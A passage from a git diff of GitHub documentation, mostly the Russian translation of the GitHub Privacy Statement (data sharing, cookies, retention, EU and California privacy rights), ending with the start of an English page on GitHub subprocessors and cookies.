аутентификации в Продукте разработчика с использованием вашего профиля GitHub. + +### Организации, с которыми вы взаимодействуете +Своими действиями на GitHub вы можете указать, что согласны предоставлять доступ к своим личным данным. Если вы сотрудничаете с организацией или становитесь ее членом, владельцы ее Учетных записей могут получать ваши личные данные. Если вы примете приглашение в организацию, вы будете уведомлены о типах информации, которые могут видеть владельцы (дополнительную информацию см. на странице [О членстве в организации](/github/setting-up-and-managing-your-github-user-account/about-organization-membership)). Свяжитесь с владельцами Учетных записей для получения дополнительной информации о том, как они могут обрабатывать ваши личные данные в своей Организации, а также о том, как вы можете обновлять, изменять, удалять личные данные, хранимые в Учетной записи, и получать к ним доступ. + +### Поставщики услуг +Мы передаем ваши личные данные поставщикам услуг, которые обрабатывают информацию от нашего имени, с целью предоставления или улучшения нашей Службы. Например, наши поставщики услуг осуществляют обработку платежей, поддержку клиентов, передачу данных по сети, веб-аналитику, маркетинговые операции, обеспечение безопасности и предоставляют другие подобные услуги. Хотя GitHub обрабатывает все личные данные в США, наши поставщики услуг могут обрабатывать данные за пределами США или Европейского Союза. Такая обработка поставщиками услуг будет соответствовать требованиям применимого законодательства, в том числе в аспекте соответствующего механизма передачи. + + ### Аффилированные лица + Мы предоставляем доступ к личным данным нашим дочерним, аффилированным и связанным компаниям, например, если мы используем общие системы данных, если аффилированные компании предоставляют службы от нашего имени или если такой доступ требуется для эксплуатации и предоставления Службы. + +### В целях безопасности +Мы раскрываем личные данные, если считаем, что это необходимо для: +- защиты наших клиентов и других лиц, например для недопущения спама или попыток мошенничества,а также для недопущения потери жизни или серьезных увечий; +- эксплуатации и обеспечения безопасности Службы, в том числе для недопущения или блокировки атак на наши системы или сети; +- защиты прав или собственности нашей компании или других лиц, в том числе для соблюдения соглашений, условий и политик. + + +### Для юридического раскрытия +GitHub может раскрывать личные данные или другую информацию, которую мы собираем о вас, правоохранительным органам или другим государственным организациям, если это необходимо в рамках действующего юридического процесса. Для получения дополнительной информации о раскрытии информации в ответ на юридические запросы см. [Руководство по юридическим запросам пользовательских данных](/github/site-policy/guidelines-for-legal-requests-of-user-data). + +### Смена контроля или продажа +Мы можем передавать ваши личные данные, если мы участвуем в слиянии, продаже или приобретении юридических лиц или бизнес-единиц, как описано в этом Заявлении о конфиденциальности. + +Обратите внимание, что некоторые функции нашей Службы включают интеграции или ссылки на службы, предоставляемые сторонними лицами, практики конфиденциальности которых могут отличаться от наших. Если вы предоставляете личные данные таким третьим лицам или разрешаете нам передавать им ваши личные данные, к таким данным применяются заявления о конфиденциальности соответствующих лиц. + +Наконец, мы можем передавать деидентифицированные сведения в соответствии с применимым законодательством. + +### Запрет на продажу личных данных +Мы *не* продаем ваши личные данные за денежное или иное вознаграждение, как это определено законодательством штатов Калифорния и Невада. +Вы можете узнать больше о CCPA и о том, как мы его соблюдаем [здесь](#githubs-notice-to-california-residents). + +## Возможности выбора относительно обработки нами ваших личных данных +Мы позволяем вам выбрать, какие личные данные о вас мы будем собирать. Сделанный вами выбор не применяется к личным данным, связанным с Организацией в вашей Учетной записи. + +Доступ, изменение и удаление. Если вы являетесь пользователем GitHub, вы можете обновить, изменить, удалить свою основную информацию профиля пользователя и получить к ней доступ с помощью [редактирования профиля пользователя](https://github.com/settings/profile). Кроме того, вы можете отправить запрос в [службу поддержки GitHub](https://support.github.com/contact) или [службу премиум-поддержки GitHub](https://enterprise.githubsupport.com/hc/en-us). Вы можете управлять тем, какую информацию мы собираем о вас, ограничив объем данных в своем профиле, поддерживая актуальность информации, изменив настройки для файлов cookie или связавшись со [службой поддержки GitHub](https://support.github.com/contact) или [службой премиум-поддержки GitHub](https://enterprise.githubsupport.com/hc/en-us). + +Мы храним и используем вашу информацию в соответствии с этим Заявлением о конфиденциальности, но если это не требуется юридически, удалим ваш профиль целиком в течение 90 дней после получения вашего запроса. После удаления учетной записи некоторые данные, такие как вклады в репозитории других Пользователей и комментарии в чужих вопросах, останутся. Тем не менее мы удалим или деидентифицируем ваши личные данные, включая ваше имя пользователя и адрес электронной почты, из поля авторов проблем, запросов на вытягивание и комментариев, связав их с пользователем-призраком. Но адрес электронной почты, который вы указали через настройки фиксации Git, всегда будет связан с вашими фиксациями в системе Git. Если вы решите сделать свой адрес электронной почты закрытым, вам также следует обновить настройки коммитов Git. Мы не можем изменять или удалять данные в истории коммитов Git — программное обеспечение Git предназначено для ведения записей — но мы даем вам возможность контролировать, какую информацию вы добавляете в эту запись. + +Если GitHub обрабатывает личные данные, которые отличаются от сведений в вашем профиле, например информацию о вас, которую GitHub получает от [третьих лиц](/github/site-policy/github-privacy-statement#information-we-collect-from-third-parties), вы можете, в соответствии с применимым законодательством, обновить, изменить, удалить свои личные данные, получить к ним доступ, запретить или ограничить их обработку, связавшись со [службой поддержки GitHub](https://support.github.com/contact) или [службой премиум-поддержки GitHub](https://enterprise.githubsupport.com/hc/en-us). + +Вы можете изменить в своей Учетной записи настройки, касающиеся отображения ваших личных данных в частных или общедоступных репозиториях или личных данных, которые обрабатываются при использовании Функций сообщества (например, GitHub Feed, GitHub Sponsors и GitHub Explore), в [параметрах профиля](https://github.com/settings/profile). + +Кроме того, если вы не можете получить доступ к определенным личным данным, хранящимся у нас, с помощью описанных выше методов, вы можете запросить доступ, связавшись с нами способом, описанным в конце этого заявления о конфиденциальности. + +### Переносимость данных + +Как пользователь GitHub вы всегда можете взять свои данные с собой. Вы можете [клонировать свои репозитории на рабочий стол](/desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop), например, или вы можете использовать наши [Инструменты переносимости данных](https://developer.github.com/changes/2018-05-24-user-migration-api/) для загрузки имеющейся у нас информации о вас. + +### Настройки коммуникаций +Мы используем ваш адрес электронной почты для связи с вами, если вы согласились, и только по причинам, с которыми вы согласились. Например, если вы обратитесь в нашу службу поддержки с запросом, мы ответим вам по электронной почте. Вы можете управлять тем, как ваш адрес электронной почты используется и передается в нашей Службе. Вы можете управлять настройками коммуникаций в своем [профиле](https://github.com/settings/emails). + +Система контроля версий Git по своей архитектуре связывает многие действия с адресом электронной почты пользователя, например сообщения о фиксации. Дополнительные сведения о настройке адреса электронной почты для фиксаций см. [здесь](https://github.com/settings/emails). + +В зависимости от ваших [настроек электронной почты](https://github.com/settings/emails) GitHub может время от времени отправлять уведомления по электронной почте, например об изменениях в просматриваемом репозитории, новых функциях, запросах на отзыв, важных изменениях политики, или предлагать поддержку клиентов. Мы также отправляем маркетинговые электронные сообщения с учетом вашего выбора и в соответствии с применимым законодательством и нормами. В нижней части каждого маркетингового электронного письма, которое мы вам отправляем, есть ссылка «отписаться». + +Обратите внимание, что вы не можете отказаться от получения важных сообщений от нас, таких как электронные письма от нашей службы поддержки или системные электронные письма, но вы можете настроить параметры уведомлений в своем профиле, чтобы отказаться от других сообщений. + +### Права защиты данных в Европе + +Если в отношении обработки ваших личных данных действует закон о защите данных Европейского Союза, вы имеете определенные права: + +Вы можете запросить доступ к своим личным данным, их изменение или удаление. Если какая-либо автоматическая обработка личных данных осуществляется с вашего согласия или по договору с вами, вы имеете право на передачу или получение копии личных данных в удобном и портативном формате. Если обработка личных данных выполняется с вашего согласия, вы можете отозвать его в любое время для будущей обработки. Вы можете запретить или ограничить обработку личных данных при определенных условиях. Кроме того, жители Франции могут отправить нам конкретные инструкции касательно использования их данных после их смерти. + +Чтобы подать такой запрос, воспользуйтесь контактными сведениями в конце этого заявления. Если мы обрабатываем данные от имени другого лица (т. е. если GitHub выступает в качестве обработчика данных), направьте свой запрос непосредственно такому лицу. Вы также имеете право подать жалобу в надзорный орган, но мы просим вас при появлении вопросов или замечаний сначала связаться с нами. + +Мы руководствуемся различными законодательными базами для сбора и обработки личных данных о вас, например с вашего согласия и (или) при необходимости для предоставления используемых вами услуг, ведения нами бизнеса, соблюдения договорных и юридических обязательств, защиты безопасности наших систем и клиентов, а также в других законных интересах. + +## Наше использование файлов cookie и технологий отслеживания + +### Файлы cookie и технологии отслеживания + +GitHub использует файлы cookie для предоставления, защиты и улучшения нашей Службы или для разработки новых компонентов и функций для нашей Службы. Например, мы используем их, чтобы (i) поддерживать ваш сеанс входа в систему, (ii) запоминать ваши предпочтения, (iii) идентифицировать ваше устройство в целях безопасности и недопущения мошенничества, в том числе при необходимости для поддержания целостности нашей Службы, (iv) составлять статистические отчеты и (v) предоставлять информацию для будущего развития GitHub. Мы предоставляем дополнительную информацию о [файлах cookie на GitHub](https://github.com/privacy/cookies), в которой описаны задаваемые файлы cookie, цели их использования и срок их действия. + +Для Страниц корпоративного маркетинга мы также можем использовать необязательные файлы cookie для (i) сбора сведений об интересах корпоративных пользователей и их действиях в Интернете с целью персонализации их взаимодействий, в том числе для отображения и отправки актуальной для пользователя рекламы, контента, рекомендаций и маркетинговых материалов, а также для (ii) повышения и оценки эффективности таргетированной рекламы и других маркетинговых мероприятий. Если вы отключите необязательные файлы cookie на Страницах корпоративного маркетинга, отображаемая реклама, контент и маркетинговые материалы могут быть менее актуальными для вас. + +Наши электронные сообщения пользователям могут содержать пиксельный тег, представляющий собой небольшое четкое изображение, которое может сообщить нам, открывали ли вы электронное сообщение или нет и какой у вас IP-адрес. Мы используем этот пиксельный тег, чтобы сделать нашу электронную почту более эффективной для вас и гарантировать, что мы не отправляем вам нежелательную электронную почту. + +Время хранения файла cookie в браузере или на устройстве зависит от того, является ли файл cookie "постоянным" или "временным". Временные файлы cookie сохраняются на устройстве, пока вы используете браузер. Постоянные файлы cookie сохраняются, пока срок их действия не истечет или пока они не будут удалены. Срок действия или хранения для постоянных файлов cookie зависит от цели сбора файлов cookie и используемого инструмента. Вы можете удалить данные файлов cookie описанными ниже способами. + +#### Что собой представляют файлы cookie и аналогичные технологии? + +Мы используем файлы cookie и аналогичные технологии, например веб-маяки, локальное хранилище и мобильную аналитику, для эксплуатации и предоставления наших Служб. При посещении Страниц корпоративного маркетинга, например resources.github.com, такие и дополнительные файлы cookie, например идентификаторы рекламы, могут использоваться для целей продаж и маркетинга. + +Файлы cookie — это небольшие текстовые файлы, которые сохраняются браузером на вашем устройстве. Файл cookie затем может быть считан при подключении браузера к веб-серверу в том же домене, который предоставил файл cookie. Текст в файле cookie содержит строку чисел и букв, которые уникально идентифицируют ваше устройство, а также могут содержать другую информацию. Это позволяет веб-серверу "узнавать" ваш браузер через некоторое время при его подключении к веб-серверу. + +Веб-маяки — это электронные изображения (также называются "однопиксельными" или "прозрачными GIF") на веб-сайте или в сообщении электронной почты. Когда браузер открывает веб-страницу или сообщение электронной почты с веб-маяком, он автоматически подключается к веб-серверу, на котором размещено изображение (обычно обслуживается третьей стороной). Это позволяет веб-серверу записывать информацию о вашем устройстве и задавать и считывать собственные файлы cookie. Точно так же сторонний контент на наших веб-сайтах (например, встроенные видео, подключаемые модули или реклама) создает подключения браузера к стороннему веб-серверу, на котором размещается такой контент. + +Приложения на мобильных устройствах могут получать доступ к мобильным идентификаторам для аналитики и использовать их так же, как веб-сайты получают и используют файлы cookie. При посещении вами Страниц корпоративного маркетинга, например resources.github.com, на мобильных устройствах они позволяют нам и третьим лицам — нашим партнерам по аналитике и рекламе — собирать данные для целей продаж и маркетинга. + +Мы также можем использовать так называемые "флэш-файлы" cookie (или объекты LSO) для сбора и хранения сведений об использовании вами наших Служб. Флэш-файлы cookie обычно используются для рекламы и видео. + +#### Как мы и наши партнеры используем файлы cookie и аналогичные технологии? + +Службы GitHub используют файлы cookie и аналогичные технологии для различных целей, в том числе для хранения ваших предпочтений и настроек, поддержки входа, анализа производительности наших Служб, отслеживания вашего взаимодействия со Службами, получения выводов, противодействия мошенничеству и в других законных целях. Некоторые из таких файлов cookie и технологий могут предоставляться третьими лицами, в том числе поставщиками служб и партнерами по рекламе. Например, наши партнеры по аналитике и рекламе могут использовать эти технологии в наших Службах для сбора личных сведений (таких, как посещаемые вами страницы, ссылки, по которым вы переходите, другие сведения об использовании, идентификаторы и сведения об устройствах), связанных с вашими действиями в Интернете, с течением времени и в разных Службах для различных целей, в том числе для таргетированной рекламы. GitHub размещает необязательные файлы cookie на страницах, где мы рекламируем продукты и службы для корпоративных клиентов, например на resources.github.com. + +Мы и (или) наши партнеры также предоставляем собираемую нами информацию или выводы третьим лицам для таких целей. + +В таблице ниже приведены дополнительные сведения о том, как мы используемы файлы cookie различных видов: + +| Назначение | Описание | +|:---|:---| +| Обязательные файлы cookie | GitHub использует обязательные файлы cookie для поддержки важных функций веб-сайта и предоставления служб. Например, файлы cookie используются для входа пользователей, сохранения языковых предпочтений, взаимодействия с корзиной для покупок, повышения производительности, перенаправления трафика между веб-серверами, определения размера вашего экрана, определения времени загрузки страниц, улучшения работы пользователей и изучения аудитории. Такие файлы cookie необходимы для работы наших веб-сайтов. | +| Аналитика | Мы разрешаем третьим лицам использовать аналитические файлы cookie для изучения того, как вы используете наши веб-сайты, чтобы улучшить их. Например, файлы cookie используются для сбора сведений о посещаемых вами страницах и о том, сколько щелчков требуется вам для выполнения задачи. Мы также используем некоторые аналитические файлы cookie для отображения персонализированной рекламы. | +| Социальные сети | GitHub и третьи лица используют файлы cookie из социальных сетей для отображения рекламы и контента на основе ваших профилей в социальных сетях и действий на веб-сайтах GitHub. Это гарантирует, что реклама и контент, которые вы видите на наших веб-сайтах и в социальных сетях, будут оптимизированы под ваши интересы. Это также позволяет третьим лицам разрабатывать и улучшать продукты, которые могут использоваться ими на веб-сайтах, не принадлежащих и не эксплуатируемых GitHub. | +| Реклама | Кроме того, GitHub и третьи лица используют рекламные файлы cookie для отображения новой рекламы с учетом уже показанной вам рекламы. Файлы cookie также отслеживают, по какой рекламе вы переходите и какие покупки совершаете после перехода. Это делается для обработки платежей и для отображения более актуальной для вас рекламы. Например, файлы cookie используются для отслеживания ваших щелчков на рекламе и отображения рекламы на основе ваших интересов в социальных сетях и журнале браузера. | + +#### Какие файлы cookie вы используете и как управляете ими? + + У вас есть несколько вариантов для отключения необязательных файлов cookie: + + 1. **На Страницах корпоративного маркетинга GitHub** + + Все страницы GitHub с необязательными файлами cookie содержат ссылку в нижнем колонтитуле страницы для перехода к параметрам файлов cookie. Вы можете в любое время настроить свои предпочтения, щелкнув такую ссылку. + + Некоторые пользователи также смогут управлять необязательными файлами cookie с помощью баннера с согласием на использование файлов cookie, в том числе принимать, отклонять все необязательные файлы cookie и управлять ими. + 2. **В целом для всех веб-сайтов** + + Вы можете управлять файлами cookie, которые вы получаете в Интернете, с помощью различных доступных средств. Пример: + - Если браузер отправляет сигнал [DNT](https://en.wikipedia.org/wiki/Do_Not_Track) (Без отслеживания), GitHub не будет задавать необязательные файлы cookie и не будет загружать сторонние ресурсы, которые задают такие файлы. + - Многие браузеры предоставляют средства управления файлами cookie, которые могут ограничивать прием файлов cookie в Интернете. Дополнительные сведения см. в документации по вашему браузеру. + - Если вы включите расширение браузера для блокировки отслеживания, например [Privacy Badger](https://en.wikipedia.org/wiki/Privacy_Badger), необязательные файлы cookie, заданные веб-сайтом или третьими лицами, могут быть отключены. + - Если вы включите расширение браузера для блокировки нежелательного контента, например [uBlock Origin](https://en.wikipedia.org/wiki/UBlock_Origin), необязательные файлы cookie будут отключены в той мере, которая позволяет блокировать контент, задающий необязательные файлы cookie. + - Средства управления рекламой. Наши партнеры по рекламе могут быть членами ассоциаций, предусматривающих предоставление простых возможностей для отказа от таргетированной рекламы, к которым можно получить доступ следующим образом: + - США: [NAI](http://optout.networkadvertising.org) и [DAA](http://optout.aboutads.info/). + - Канада: [Канадский альянс по цифровой рекламе (Digital Advertising Alliance of Canada)](https://youradchoices.ca/). + - Европа: [Европейский альянс по цифровой рекламе (European Digital Advertising Alliance)](http://www.youronlinechoices.com/). + + Доступные возможности зависят от используемого браузера. Если вы используете наши Службы с помощью других устройств или браузеров, выполняйте такие действия из соответствующих систем, чтобы гарантировать применение ваших настроек к данным, собираемым при использовании этих систем. + + + +## Хранение личных данных +Мы храним личные данные, пока они необходимы для предоставления услуг и выполнения запрошенных вами транзакций, а также для выполнения наших юридических обязательств, решения споров, реализации соглашений и для других легитимных и законных бизнес-целей. Так как потребности в хранении могут отличаться в зависимости от типов данных в контексте разных услуг, фактические периоды хранения могут быть самыми разными и подчиняются определенным критериям, таким как ожидания или согласие пользователей, уровень конфиденциальности данных, доступность автоматизированных элементов управления, которые позволяют пользователям удалять данные, а также наши юридические или договорные обязательства. Например, мы можем при необходимости продлить хранение ваших личных данных в соответствии с требованиями применимого законодательства или из соображений безопасности. + +## Как GitHub защищает вашу информацию +GitHub принимает разумно необходимые меры для защиты ваших личных данных от несанкционированного доступа, изменения или уничтожения, поддерживает точность данных и помогает обеспечить надлежащее использование ваших личных данных. Чтобы упростить нам защиту личных данных, мы просим вам использовать надежные пароли и не передавать их посторонним лицам, а также не использовать один пароль на разных сайтах или для разных учетных записей. + +Кроме того, если ваша учетная запись включает частные репозитории, вы управляете доступом к такому Содержимому. Персонал GitHub не получает доступ к содержимому частного репозитория за исключением следующих случаев: +- в целях безопасности; +- автоматическое сканирование на известные уязвимости, активные вредоносные программы или другое содержимое, которое нарушает наши Условия предоставления услуг; +- чтобы помочь владельцу репозитория в вопросе поддержки +- для поддержания целостности Сервиса +- для выполнения наших юридических обязательств, если у нас есть основания полагать, что содержимое нарушает закон; +- с вашего согласия. + +Github предоставляет уведомление касательно доступа к частному репозиторию, если это не запрещено законодательно или в ответ на угрозу или риск безопасности. + +### Трансграничная передача данных +GitHub обрабатывает личные данные как на территории, так и за пределами Соединенных Штатов и опирается на юридические механизмы, например Стандартные договорные положения, как на законный механизм для законной передачи данных из Европейской экономической зоны, Соединенного Королевства и Швейцарии в Соединенные Штаты. Вы можете запросить копию Стандартных договорных положений, воспользовавшись контактными данными, приведенными в разделе "Связь с GitHub" ниже. + +### Разрешение жалоб +Если у вас есть опасения по поводу того, как GitHub обрабатывает ваши личные данные, немедленно сообщите нам об этом. Мы хотим помочь. Вы можете связаться с нами, заполнив [Контактную форму конфиденциальности](https://support.github.com/contact/privacy). Вы также можете написать нам напрямую по адресу **(privacy [at] github [dot] com)** с темой "Вопросы конфиденциальности". Мы ответим незамедлительно — самое позднее в течение 45 дней. + +Вы также можете напрямую связаться с нашим Сотрудником по защите данных, написав по адресу **github [собачка] dp-officer [точка] com**. + +**Если вы находитесь в Северной Америке:**
+Сотрудник GitHub по защите данных
+88 Colin P. Kelly Jr. St.
+San Francisco, CA 94107
+США
+**privacy [at] github [dot] com**
+ +**Если вы находитесь за пределами Северной Америки:**
+Сотрудник GitHub по защите данных
+c/o DP Dock DPO Services GmbH,
+Attn: GitHub BV, Gut Projensdorf,
+24161 Altenholz, Германия
+github@dp-officer.com cc: **privacy [собачка] github [точка] com**
+CC: GitHub BV, Vijzelstraat 68-72, 1017 HL Amsterdam, Нидерланды + +### Процесс разрешения споров + +В маловероятном случае возникновения спора между вами и GitHub относительно обработки нами вашей Персональной информации пользователя мы сделаем все возможное для его разрешения. Кроме того, если вы являетесь резидентом государства-члена ЕС, вы имеете право подать жалобу в местный надзорный орган, и у вас может быть больше [опций](/github/site-policy/global-privacy-practices#dispute-resolution-process). + +## Изменения в нашем Заявлении о конфиденциальности + +Хотя большинство изменений, скорее всего, будут незначительными, GitHub может время от времени изменять наше Заявление о конфиденциальности. Мы будем уведомлять Пользователей о существенных изменениях в настоящем Заявлении о конфиденциальности через наш Веб-сайт по крайней мере за 30 дней до вступления изменения в силу, разместив уведомление на нашей домашней странице или отправив электронное письмо на основной адрес электронной почты, указанный в вашей учетной записи GitHub. Мы также будем обновлять наш [Репозиторий политики сайта](https://github.com/github/site-policy/), который отслеживает все изменения этой политики. Для внесения других изменений в настоящее Заявление о конфиденциальности мы рекомендуем Пользователям [смотреть](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository) или часто проверять наш репозиторий политики сайта. + +## Лицензия + +Настоящее Заявление о конфиденциальности распространяется под данной [Нулевой лицензией Creative Commons](https://creativecommons.org/publicdomain/zero/1.0/). Подробности смотрите в нашем [репозитории политики сайта](https://github.com/github/site-policy#license). + +## Связь с GitHub +Вопросы, касающиеся Заявления о конфиденциальности GitHub или методов работы с информацией, следует направлять посредством нашей [Контактной формы конфиденциальности](https://support.github.com/contact/privacy). + +## Версии на других языках + +Ниже приведены переводы этого документа на другие языки. В случае любого конфликта, неопределенности или очевидного несоответствия между любой из этих версий и версией на английском языке эта версия на английском языке является контрольной. + +### Французский +Нажмите, чтобы получить французскую версию: [Заявление о конфиденциальности GitHub](/assets/images/help/site-policy/github-privacy-statement(07.22.20)(FR).pdf) + +### Другие переводы + +Для перевода этого заявления на другие языки, пожалуйста, посетите [https://docs.github.com/](/) и выберите язык в раскрывающемся меню под «Английский». + +## Уведомление GitHub для жителей штата Калифорния +[Закон штата Калифорния о конфиденциальности потребителей](https://leginfo.legislature.ca.gov/faces/billCompareClient.xhtml?bill_id=201720180AB375) 2018 г. (Гражданский Кодекс Калифорнии §1798.100 и последующие с поправками, «CCPA») дает жителям Калифорнии права и контроль над своей персональной информацией. GitHub, Inc. («GitHub», «мы») предоставляет это заявление этим резидентам («вы») в соответствии с требованиями CCPA для раскрытия определенной информации о сборе и обработке их персональной информации. Это специальное для Калифорнии описание GitHub прав потребителей на неприкосновенность частной жизни в соответствии с CCPA. Для получения информации о том, как мы расширили основные права CCPA на управление персональной информацией для всех наших пользователей в Соединенных Штатах, см. [Заявление о конфиденциальности](/github/site-policy/github-privacy-statement). + +### Наше обращение с личными сведениями +Хотя в приведенной ниже таблице содержится информация о категориях личных сведений, которые мы собираем, обрабатываем и передаем, полную информацию см. в [Заявлении о конфиденциальности GitHub](/github/site-policy/github-privacy-statement). + +| Категория персональной информации, собранной за последние 12 месяцев | Категория источников, из которых была собрана персональная информация | +|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------| +| Идентификаторы (такие как настоящее имя, псевдоним, почтовый адрес, уникальный личный идентификатор, сетевой идентификатор, адрес интернет-протокола, адрес электронной почты, имя учетной записи или другие подобные идентификаторы) | Информация, которую потребитель предоставляет напрямую или автоматически при взаимодействии с нашей Службой и (или) Веб-сайтом, а также поставщиками, партнерами или аффилированными лицами GitHub. | +| Личные сведения, описанные в Гражданском кодексе штата Калифорния (California Civil Code), §1798.80 (e), например имя, адрес номер кредитной или дебетовой карты. | Потребитель информации может выбрать предоставление непосредственно или через поставщиков услуг | +| Характеристики защищенных классификаций в соответствии с законодательством штата Калифорния или федеральным законодательством (например, гендер) | Потребитель информации может выбрать предоставление непосредственно | +| Коммерческая информация (например, о продуктах или услугах, приобретенных, полученных или рассматриваемых, или другая история или тенденции покупок или потребления) | Информация, которую потребитель предоставляет напрямую или автоматически при взаимодействии с нашим Сервисом | +| Данные геолокации (например, любые сведения, собранные после предоставления пользователям возможности дать разрешение на сбор данных службами расположения, которые используют службы точной геолокации устройства ) | Информация, которую потребитель предоставляет автоматически при взаимодействии с нашим Сервисом | +| Аудио-, электронная, визуальная или подобная информация, например содержимое и файлы, переданные в Службу. | Потребитель информации может выбрать предоставление непосредственно | +| Профессиональная или связанная с трудоустройством информация | Потребитель информации может выбрать предоставление непосредственно | +| Выводы, сделанные на основе любой информации, указанной в этой таблице, для создания профиля о потребителе, отражающего предпочтения потребителя. | Информация, которую потребитель предоставляет напрямую или автоматически при взаимодействии с нашим Сервисом | + + +Мы используем описанные выше категории личных сведений для целей, указанных в разделе [Как GitHub использует вашу информацию](/github/site-policy/github-privacy-statement#how-github-uses-your-information) нашего Заявления о конфиденциальности. Мы также раскрываем личные сведения из указанных выше категорий в бизнес-целях. Дополнительные сведения см. в разделе [Как мы делимся информацией, которую собираем](/github/site-policy/github-privacy-statement#how-we-share-the-information-we-collect) нашего Заявления о конфиденциальности. + +### Мы не продаем вашу персональную информацию +В соответствии с CCPA бизнес, который продает персональную информацию жителей Калифорнии другим лицам: 1) должны уведомить жителей Калифорнии перед продажей их персональной информации другим лицам; и 2) должны предоставить право отказаться от продажи своей персональной информации. +GitHub не продает персональную информацию, включая персональную информацию лиц моложе 16 лет. + +### Ваши права в соответствии с CCPA +CCPA предоставляет жителям Калифорнии определенные права, связанные с их персональной информацией. Чтобы подать запрос на основе этих прав, свяжитесь с нами через нашу [форму обратной связи](https://support.github.com/contact?tags=docs-policy). + + + +При получении запроса мы проверим, что лицо, делающее запрос, является резидентом, к которому относится персональная информация, являющаяся предметом запроса. Жители штата Калифорния могут осуществлять свои права самостоятельно или через уполномоченного агента, назначенного письменно или через юриста, для подачи запросов от их имени. Если вы используете уполномоченного агента для подачи запроса, мы можем потребовать, чтобы вы предоставили нам дополнительную информацию, демонстрирующую, что агент действует от вашего имени, а также потребовать у вас подтвердить вашу личность напрямую с нами. +В отношении своей личной информации жители штата Калифорния могут осуществлять описанные ниже права. +#### Право на информирование. +Вы имеете право запросить раскрытие тех личных сведений, которые мы собрали о вас. Вы также имеете право запросить дополнительную информацию о сборе, использовании, раскрытии или продаже таких личных сведений. Обратите внимание, что мы предоставляем значительную часть этой информации в этом заявлении о конфиденциальности. Вы можете использовать API для миграции пользователей для доступа и загрузки своих данных. Дополнительные сведения доступны здесь. Вы также можете подать такой "запрос на информирование", связавшись с нами здесь. +#### Право на запрос удаления. +У вас также есть право в определенных условиях (с некоторыми исключениями) запросить удаление ваших личных сведений. Чтобы создать запрос на удаление, воспользуйтесь API GitHub для миграции пользователей для доступа к своим данным и их скачивания. Дополнительные сведения доступны здесь. Вы также можете создать такой "запрос на удаление", связавшись с нами здесь. + +#### Право на отказ. +Вы можете отказаться от будущих "продаж" личных сведений. Обратите внимание, что мы не "продаем" личные сведения, как это определяет CCPA, и не делали этого за последние 12 месяцев. + +#### Право на отсутствие дискриминации +Вы имеете право на отсутствие дискриминации при осуществлении своих прав CCPA. Мы не будем дискриминировать вас за осуществление своих прав CCPA. + +Вы можете назначить (письменно или через юриста) уполномоченного агента для изъявления от вашего имени воли на осуществление своих прав в соответствии с CCPA. Перед принятием такого запроса от агента мы запросим у агента предоставить доказательства того, что вы дали свое разрешение на осуществление деятельности от вашего имени, а также можем потребовать подтвердить вашу личность напрямую с нами. +Более того, для предоставления или удаления определенных частей личных сведений нам потребуется проверить вашу личность с достаточной степенью уверенности, определенной законодательно. Мы проверим ваш запрос, попросив вас отправить его с адреса электронной почты, который связан с вашей учетной записью, или попросив вас предоставить необходимые сведения для подтверждения вашей учетной записи. [Учтите, что вы можете использовать двухфакторную проверку подлинности в своей учетной записи GitHub.](/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication) +Наконец, вы имеете право на получение уведомления о наших практиках до сбора личных сведений или в его процессе. + +Кроме того, в соответствии с Гражданским кодексом штата Калифорния (California Civil Code), раздел 1798.83 (также называется законом штата Калифорния о раскрытии информации) жители штата Калифорния, которые предоставили личные сведения компании, с которой лицо установило бизнес-отношения в личных, семейных или хозяйственных целях ("Клиенты в штате Калифорния") могут запросить сведения о том, раскрывала ли такая компания личные сведения сторонним лицам для непосредственных маркетинговых целей таких сторонних лиц. Помните, что мы не раскрываем личные сведения каким-либо сторонним лицам для их непосредственных маркетинговых целей, как это определено в этом законе. +Клиенты в штате Калифорния могут запросить дополнительные сведения о нашем соответствии этому закону, отправив сообщение по адресу **(privacy [at] github [dot] com)** . Учтите, что компании обязаны отвечать на один запрос от Клиента в штате Калифорния в год и могут не отвечать на запросы, отправленные через каналы, которые отличаются от специально созданного адреса электронной почты. + +Жители штата Калифорния возрастом младше 18 лет, которые являются зарегистрированными пользователями онлайн-сайтов, услуг или приложений, в соответствии Кодексом компаний и профессий штата Калифорния (California Business and Professions Code), раздел 22581 имеют право на удаление или запрашивание удаления размещаемого ими в общедоступном Интернете содержимого или информации. Чтобы удалить размещенное вами общедоступное содержимое или информацию, [отправьте запрос на удаление личной информации](https://support.github.com/contact/private-information). Кроме того, чтобы запросить у нас удаление такого содержимого или информации, отправьте подробное описание конкретного содержимого или информации для удаления в [службу поддержки GitHub](https://support.github.com/contact). Учтите, что ваш запрос не гарантирует полное или комплексное удаление размещенного в Интернете содержимого или информации и что в определенных условиях удаление может быть запрещено законодательно. +Если у вас остались вопросы касательно наших практик конфиденциальности для жителей штата Калифорния, свяжитесь с нами с помощью [этой контактной формы](https://support.github.com/contact?tags=docs-policy). diff --git a/translations/ru-RU/content/site-policy/privacy-policies/github-subprocessors-and-cookies.md b/translations/ru-RU/content/site-policy/privacy-policies/github-subprocessors-and-cookies.md new file mode 100644 index 000000000000..6a0c90a16430 --- /dev/null +++ b/translations/ru-RU/content/site-policy/privacy-policies/github-subprocessors-and-cookies.md @@ -0,0 +1,36 @@ +--- +title: GitHub Subprocessors and Cookies +redirect_from: + - /subprocessors + - /github-subprocessors + - /github-tracking + - /github-cookies + - /articles/github-subprocessors-and-cookies + - /github/site-policy/github-subprocessors-and-cookies +versions: + fpt: '*' +topics: + - Policy + - Legal +--- + +Effective date: **September 1, 2022** + + +GitHub provides a great deal of transparency regarding how we use your data, how we collect your data, and with whom we share your data. To that end, we provide this page, which details [our subprocessors](#github-subprocessors), and how we use [cookies](#cookies-on-github). + +## GitHub Subprocessors + +When we share your information with third party subprocessors, such as our vendors and service providers, we remain responsible for it. We work very hard to maintain your trust when we bring on new vendors, and we require all vendors to enter into data protection agreements with us that restrict their processing of Users' Personal Information (as defined in the [Privacy Statement](/articles/github-privacy-statement/)). + +When we bring on a new subprocessor who handles our Users' Personal Information, or remove a subprocessor, or we change how we use a subprocessor, we will update the list of subprocessors. You can view the current list of subprocessors, and sign up to receive subprocessor list updates, at [https://github.com/privacy/subprocessors](https://github.com/privacy/subprocessors). + +If you have questions or concerns about a new subprocessor, we'd be happy to help. Please contact us via {% data variables.contact.contact_privacy %}. + +## Cookies on GitHub + +GitHub uses cookies to provide and secure 